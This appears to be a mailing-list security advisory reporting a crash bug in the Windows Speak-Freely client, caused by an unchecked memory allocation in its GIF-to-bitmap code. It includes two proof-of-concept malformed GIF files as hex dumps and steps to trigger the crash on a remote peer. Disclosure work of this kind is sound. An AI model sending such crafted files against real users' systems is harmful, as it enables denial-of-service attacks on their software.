malformed GIF files crash the program

Hey to all, another security bug is ready 8-)


The problem is in the function that show the images in the Windows program.
With the debugger I have seen that the problem is the return value of the
function Globalalloc() that is not checked.
In fact if this system functions fails, it will return 0 but in some parts
of the code there aren't instructions that check if the return value is
different from 0.
I "think" that the vulnerable instruction is that at line 383 of the file
giftobmp.c, but I am not sure:

...
           bmpFile = (LPBYTE) GlobalAllocPtr(GPTR, bfsize =
                                        sizeof(BITMAPFILEHEADER) +
sizeof(BITMAPINFOHEADER) +
                                        256 * sizeof(RGBQUAD) + (linelen *
((DWORD) height)));
	   bfh = (LPBITMAPFILEHEADER) bmpFile;
...

As you can see the return value is not checked.


The proof-of-concept are the following (it is the xxd's output):

#xxd ffff.gif
0000000: 4749 4638 3961 ffff ffff 0e00 002c 0000  GIF89a.......,..
0000010: 0000 ffff ffff 00                        .......

#xxd 0000.gif
0000000: 4749 4638 3961 0000 0000 0000 002c 0000  GIF89a.......,..
0000010: 0000 0000 0000 00                        .......



The first will cause an exception at the address 00415CF8 and the second at
the address 00416227 (where the program tries to write to the unallocated
address returned by the function that is just 0).

To use them simply load one of the 2 GIFs from a Speak-Freely host and
connect to another, then you must simply activate the audio (just press the
left mouse button on the dialog) and have fun.


Please answer me soon.


BYEZ




--- 
Researcher
http://www.pivx.com/luigi/



                      * * *

To unsubscribe from this mailing list, send E-mail containing
the word "unsubscribe" in the message body (*not* as the
Subject) to [email protected]